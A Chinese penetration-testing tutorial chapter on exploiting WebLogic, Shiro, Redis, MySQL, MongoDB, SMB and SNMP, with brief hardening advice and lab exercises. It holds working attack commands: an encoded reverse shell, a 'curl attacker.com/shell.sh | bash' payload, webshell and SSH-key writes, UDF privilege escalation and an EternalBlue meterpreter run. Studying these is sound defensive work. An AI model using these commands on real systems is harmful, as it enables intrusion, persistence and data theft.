4.1 中间件漏洞利用
WebLogic反序列化漏洞(CVE-2023-21839)
-
漏洞原理:
-
T3协议反序列化未严格校验,攻击者可注入恶意序列化对象执行任意代码。
-
攻击流程:
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
python3 weblogic.py 192.168.1.100:7001 payload.bin
-
防御方案:
-
升级至官方补丁版本
-
禁用T3协议或配置IP白名单
Shiro RememberMe反序列化(CVE-2016-4437)
-
漏洞检测:
-
检查Cookie中rememberMe=deleteMe字段是否存在Shiro特征
-
利用工具:
python3 shiro_exploit.py -t http://target.com -p CommonsBeanutils1 -c "curl http://attacker.com/shell.sh | bash"
-
密钥爆破:
-
使用shiro_attack.jar加载常见密钥列表(如kPH+bIxk5D2deZiIxcaaaA==)
Redis未授权访问
- 写SSH密钥:
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\\n\\nssh-rsa AAAAB3NzaC1yc2E…\\n\\n"
save
- 写WebShell:
config set dir /var/www/html
set shell "<?php @eval($_POST[cmd]);?>"
config set dbfilename shell.php
save
-
防御方案:
-
绑定127.0.0.1并设置强密码
-
禁用CONFIG/SAVE等高危命令
实践任务
-
使用Docker搭建Shiro 1.2.4靶场,利用默认密钥反弹Shell
-
通过Redis未授权访问写入计划任务(/etc/crontab)实现持久化
4.2 数据库渗透
MySQL提权技术
- UDF提权(Linux):
SELECT 0x7F454C46... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'
CREATE FUNCTION sys_exec RETURNS int SONAME 'udf.so';
SELECT sys_exec('chmod +s /bin/bash');
- 日志文件写入WebShell:
SET global general_log_file='/var/www/html/shell.php';
SET global general_log=on;
SELECT '<?php system($_GET["cmd"]);?>';
MongoDB注入与未授权访问
- NoSQL注入利用:
// 原始查询
db.users.find({user: "admin", pass: "123"})
// 攻击载荷
db.users.find({user: "admin", pass: {"$ne": ""}})
- 未授权访问利用:
mongo 192.168.1.100:27017
> db.adminCommand({listDatabases:1})
> db.getUser("admin")
防御方案
-
最小化权限:数据库账户仅授予必要权限(禁止FILE_PRIV)
-
网络隔离:数据库服务不暴露公网,限制访问IP
实践任务
-
利用MySQL写入WebShell获取服务器权限
-
通过MongoDB未授权访问导出用户数据
4.3 协议层漏洞
SMB永恒之蓝(MS17-010)
- Metasploit利用:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.200
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > exploit
- 手工检测:
nmap -p445 –script smb-vuln-ms17-010 192.168.1.0/24
SNMP弱口令与信息泄露
- 社区名爆破:
onesixtyone -c dict.txt 192.168.1.100
- 敏感信息提取:
snmpwalk -v2c -c public 192.168.1.100 1.3.6.1.2.1.1.5.0 # 获取主机名
snmpwalk -v2c -c private 192.168.1.100 1.3.6.1.2.1.25.4.2.1.2 # 进程列表
防御方案
- 禁用SMBv1:
Set-ItemProperty –Path "HKLM:\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters" SMB1 –Type DWORD –Value 0
-
SNMP加固:
-
修改默认community名称
-
配置ACL限制访问源
实践任务
-
使用永恒之蓝攻击Windows 7靶机,获取SYSTEM权限
-
通过SNMP协议提取目标设备的ARP表
技术整合与防御体系
企业级服务加固清单
-
定期更新至稳定版本
-
删除默认管理页面(如Tomcat的/manager/html)
-
启用SSL加密通信
-
审计数据库日志中的异常查询
-
关闭非必要协议(如Telnet/FTP)
-
部署网络IDS检测异常SMB流量
红队攻击链示例
通过Shiro反序列化获取Web服务器权限
利用Redis未授权访问横向跳转到数据库服务器
通过MySQL提权建立SSH隧道进入内网
学习建议
靶场环境:搭建Vulhub、VulnApp等集成化漏洞环境
武器库开发:编写自动化服务探测脚本(如SMB扫描器)
攻防演练:参与HTB(Hack The Box)中服务类靶机挑战
本部分内容将帮助学习者掌握企业级服务攻防核心技术,从单点漏洞利用进阶到APT级横向渗透,构建纵深防御体系。
评论前必须登录!
注册